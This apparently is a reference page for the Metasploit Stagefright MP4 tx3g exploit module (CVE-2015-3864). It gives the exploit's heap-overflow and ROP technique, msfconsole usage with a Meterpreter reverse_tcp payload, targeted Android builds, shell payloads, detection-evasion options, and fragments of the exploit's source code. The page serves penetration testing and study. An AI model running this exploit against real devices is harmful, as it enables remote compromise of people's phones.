Android Stagefright MP4 tx3g Integer Overflow - Metasploit
This page contains detailed information about how to use the exploit/android/browser/stagefright_mp4_tx3g_64bit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Android Stagefright MP4 tx3g Integer Overflow
Module: exploit/android/browser/stagefright_mp4_tx3g_64bit
Source code: modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb
Disclosure date: 2015-08-13
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-3864
This module is also known as stagefright.
This module exploits an integer overflow vulnerability in the Stagefright Library (libstagefright.so). The vulnerability occurs when parsing specially crafted MP4 files. While a wide variety of remote attack vectors exist, this particular exploit is designed to work within an HTML5 compliant browser. Exploitation is done by supplying a specially crafted MP4 file with two tx3g atoms that, when their sizes are summed, cause an integer overflow when processing the second atom. As a result, a temporary buffer is allocated with insufficient size and a memcpy call leads to a heap overflow. This version of the exploit uses a two-stage information leak based on corrupting the MetaData that the browser reads from mediaserver. This method is based on a technique published in NorthBit's Metaphor paper. First, we use a variant of their technique to read the address of a heap buffer located adjacent to a SampleIterator object as the video HTML element's videoHeight. Next, we read the vtable pointer from an empty Vector within the SampleIterator object using the video element's duration. This gives us a code address that we can use to determine the base address of libstagefright and construct a ROP chain dynamically. NOTE: the mediaserver process on many Android devices (Nexus, for example) is constrained by SELinux and thus cannot use the execve system call. To avoid this problem, the original exploit uses a kernel exploit payload that disables SELinux and spawns a shell as root. Work is underway to make the framework more amenable to these types of situations. Until that work is complete, this exploit will only yield a shell on devices without SELinux or with SELinux in permissive mode.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/android/browser/stagefright_mp4_tx3g_64bit
msf exploit(stagefright_mp4_tx3g_64bit) > exploit
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Msfconsole Usage
Here is how the android/browser/stagefright_mp4_tx3g_64bit exploit module looks in the msfconsole:
msf6 > use exploit/android/browser/stagefright_mp4_tx3g_64bit
[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show info
Name: Android Stagefright MP4 tx3g Integer Overflow
Module: exploit/android/browser/stagefright_mp4_tx3g_64bit
Platform: Linux
Arch: armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-08-13
Provided by:
jduck <[email protected]>
NorthBit
Available targets:
Id Name
-- ----
0 Automatic
1 Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)
2 Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)
3 Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)
4 Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)
5 Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)
6 Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)
7 Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)
8 Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)
9 Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)
10 Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)
11 Nexus 5 (hammerhead) with Android 5.0 (LRX21O)
12 Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)
13 Nexus 5 (hammerhead) with Android 5.1 (LMY47D)
14 Nexus 5 (hammerhead) with Android 5.1 (LMY47I)
15 Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)
16 Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)
17 Nexus 6 (shamu) with Android 5.0 (LRX21O)
18 Nexus 6 (shamu) with Android 5.0.1 (LRX22C)
19 Nexus 6 (shamu) with Android 5.1 (LMY47D)
20 Nexus 6 (shamu) with Android 5.1 (LMY47E)
21 Nexus 6 (shamu) with Android 5.1 (LMY47I)
22 Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)
23 Nexus 6 (shamu) with Android 5.1 (LMY47M)
24 Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)
25 Nexus 6 (shamu) with Android 5.1.1 (LVY48C)
26 Nexus 6 (shamu) with Android 5.1.1 (LMY48I)
27 Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)
28 Nexus 6 (shamu) with Android 5.1.1 (LVY48E)
29 Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 2048
Description:
This module exploits an integer overflow vulnerability in the
Stagefright Library (libstagefright.so). The vulnerability occurs
when parsing specially crafted MP4 files. While a wide variety of
remote attack vectors exist, this particular exploit is designed to
work within an HTML5 compliant browser. Exploitation is done by
supplying a specially crafted MP4 file with two tx3g atoms that,
when their sizes are summed, cause an integer overflow when
processing the second atom. As a result, a temporary buffer is
allocated with insufficient size and a memcpy call leads to a heap
overflow. This version of the exploit uses a two-stage information
leak based on corrupting the MetaData that the browser reads from
mediaserver. This method is based on a technique published in
NorthBit's Metaphor paper. First, we use a variant of their
technique to read the address of a heap buffer located adjacent to a
SampleIterator object as the video HTML element's videoHeight. Next,
we read the vtable pointer from an empty Vector within the
SampleIterator object using the video element's duration. This gives
us a code address that we can use to determine the base address of
libstagefright and construct a ROP chain dynamically. NOTE: the
mediaserver process on many Android devices (Nexus, for example) is
constrained by SELinux and thus cannot use the execve system call.
To avoid this problem, the original exploit uses a kernel exploit
payload that disables SELinux and spawns a shell as root. Work is
underway to make the framework more amenable to these types of
situations. Until that work is complete, this exploit will only
yield a shell on devices without SELinux or with SELinux in
permissive mode.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-3864
https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/
http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html
https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf
https://github.com/NorthBit/Metaphor
http://drops.wooyun.org/papers/7558
http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html
https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/
Also known as:
stagefright
Module Options
This is a complete list of options available in the android/browser/stagefright_mp4_tx3g_64bit exploit:
msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show options
Module options (exploit/android/browser/stagefright_mp4_tx3g_64bit):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the android/browser/stagefright_mp4_tx3g_64bit exploit:
msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show advanced
Module advanced options (exploit/android/browser/stagefright_mp4_tx3g_64bit):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the android/browser/stagefright_mp4_tx3g_64bit module can exploit:
msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)
2 Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)
3 Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)
4 Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)
5 Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)
6 Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)
7 Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)
8 Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)
9 Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)
10 Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)
11 Nexus 5 (hammerhead) with Android 5.0 (LRX21O)
12 Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)
13 Nexus 5 (hammerhead) with Android 5.1 (LMY47D)
14 Nexus 5 (hammerhead) with Android 5.1 (LMY47I)
15 Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)
16 Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)
17 Nexus 6 (shamu) with Android 5.0 (LRX21O)
18 Nexus 6 (shamu) with Android 5.0.1 (LRX22C)
19 Nexus 6 (shamu) with Android 5.1 (LMY47D)
20 Nexus 6 (shamu) with Android 5.1 (LMY47E)
21 Nexus 6 (shamu) with Android 5.1 (LMY47I)
22 Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)
23 Nexus 6 (shamu) with Android 5.1 (LMY47M)
24 Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)
25 Nexus 6 (shamu) with Android 5.1.1 (LVY48C)
26 Nexus 6 (shamu) with Android 5.1.1 (LMY48I)
27 Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)
28 Nexus 6 (shamu) with Android 5.1.1 (LVY48E)
29 Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the android/browser/stagefright_mp4_tx3g_64bit exploit:
msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/armle/adduser normal No Linux Add User
4 payload/linux/armle/exec normal No Linux Execute Command
5 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
6 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
7 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
8 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
9 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
10 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the android/browser/stagefright_mp4_tx3g_64bit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
- ERROR: PivotStrategy <PIVOTSTRATEGY> is not implemented yet!
- <CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown peer
- <CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Failed to generate RCE MP4
- <CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown user-agent: <VALUE>
- onError called!
- blob 2 data error
- ERROR
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
ERROR: PivotStrategy <PIVOTSTRATEGY> is not implemented yet!
Here is a relevant code snippet related to the "ERROR: PivotStrategy <PIVOTSTRATEGY> is not implemented yet!" error message:
497: [ 0x1c, mds_pivot1 ],
498: [ 0x20, mds_pivot2 ]
499: ]
500:
501: else
502: print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
503: return nil
504: end
505:
506: # We need our ROP to build the page... Create it.
507: rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })
<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown peer
Here is a relevant code snippet related to the "<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown peer" error message:
929:
930: my_target = nil
931: my_target = peer[:target] if peer
932: if my_target.nil?
933: send_not_found(cli)
934: print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
935: return
936: end
937:
938: # Extract the address(s) we just leaked...
939: sia_addr = request.qstring['sia'].to_i # near_sampiter data address
<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Failed to generate RCE MP4
Here is a relevant code snippet related to the "<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Failed to generate RCE MP4" error message:
955: else
956: mode = "RCE"
957: mp4 = get_mp4_rce(my_target, peer)
958: if mp4.nil?
959: send_not_found(cli)
960: print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
961: return
962: end
963: end
964:
965: # Send the nasty MP4 file to trigger the vulnerability
<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown user-agent: <VALUE>
Here is a relevant code snippet related to the "<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown user-agent: <VALUE>" error message:
989: my_target = target
990: if my_target.name =~ /Automatic/
991: my_target = get_target(request)
992: if my_target.nil?
993: send_not_found(cli)
994: print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
995: return
996: end
997: vprint_status("Target selected: #{my_target.name}")
998: end
999:
onError called!
Here is a relevant code snippet related to the "onError called!" error message:
1086: }
1087:
1088: function start() {
1089: video = document.getElementById('vid');
1090: video.onerror = function() {
1091: console.log(' onError called!');
1092: stop_everything();
1093: }
1094: video.ondurationchange = duration_changed;
1095: //reload_rce();
1096: reload_leak();
blob 2 data error
Here is a relevant code snippet related to the "blob 2 data error" error message:
1124: var a = new FileReader();
1125: a.onload = function(e) {
1126: //console.log('onload: ' + e.target.result);
1127: video.src = e.target.result
1128: };
1129: a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
1130: a.readAsDataURL(xhr.response);
1131: } catch(e) {
1132: console.log(' ERROR: ' + e.message);
1133: stop_everything();
1134: }
ERROR
Here is a relevant code snippet related to the "ERROR" error message:
1127: video.src = e.target.result
1128: };
1129: a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
1130: a.readAsDataURL(xhr.response);
1131: } catch(e) {
1132: console.log(' ERROR: ' + e.message);
1133: stop_everything();
1134: }
1135: }
1136: };
1137: xhr.open('GET', get_uri(), true);
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10570 Merged Pull Request: AKA Metadata Refactor
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8629 Merged Pull Request: add 'Also known as', AKA 'AKA', to module references
- #8279 Merged Pull Request: move mettle payloads to meterpreter, add reverse_http/s stageless
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7357 Merged Pull Request: Stagefright CVE-2015-3864 release
References
- CVE-2015-3864
- https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/
- http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html
- https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf
- https://github.com/NorthBit/Metaphor
- http://drops.wooyun.org/papers/7558
- http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html
- https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/
See Also
Check also the following modules related to this module:
- exploit/android/browser/samsung_knox_smdm_url
- exploit/android/browser/webview_addjavascriptinterface
- exploit/windows/browser/adobe_flash_mp4_cprt
Authors
- jduck
- NorthBit
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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